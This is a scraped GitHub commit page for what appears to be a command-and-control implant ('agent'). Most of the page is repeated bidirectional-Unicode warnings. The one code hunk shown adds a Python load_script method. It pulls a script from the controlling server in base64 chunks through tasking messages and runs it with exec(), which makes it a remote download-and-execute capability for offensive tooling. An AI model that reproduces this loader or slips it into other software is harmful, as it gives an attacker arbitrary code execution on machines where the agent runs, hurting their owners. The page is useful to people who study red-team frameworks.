Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
refactored agent, added access check to watch_dir, added load_script …
…function, updated docs for everything
- Loading branch information
Showing
14 changed files
with
210 additions
and
162 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
def load_script(self, task_id, file): | ||
total_chunks = 1 | ||
chunk_num = 0 | ||
cmd_code = "" | ||
while (chunk_num < total_chunks): | ||
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: | ||
return "Job stopped." | ||
data = { "action": "post_response", "responses": [ | ||
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num }, "task_id": task_id } | ||
]} | ||
response = self.postMessageAndRetrieveResponse(data) | ||
chunk = response["responses"][0] | ||
chunk_num+=1 | ||
total_chunks = chunk["total_chunks"] | ||
cmd_code += base64.b64decode(chunk["chunk_data"]).decode() | ||
|
||
if cmd_code: exec(cmd_code) | ||
else: return "Failed to load script" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.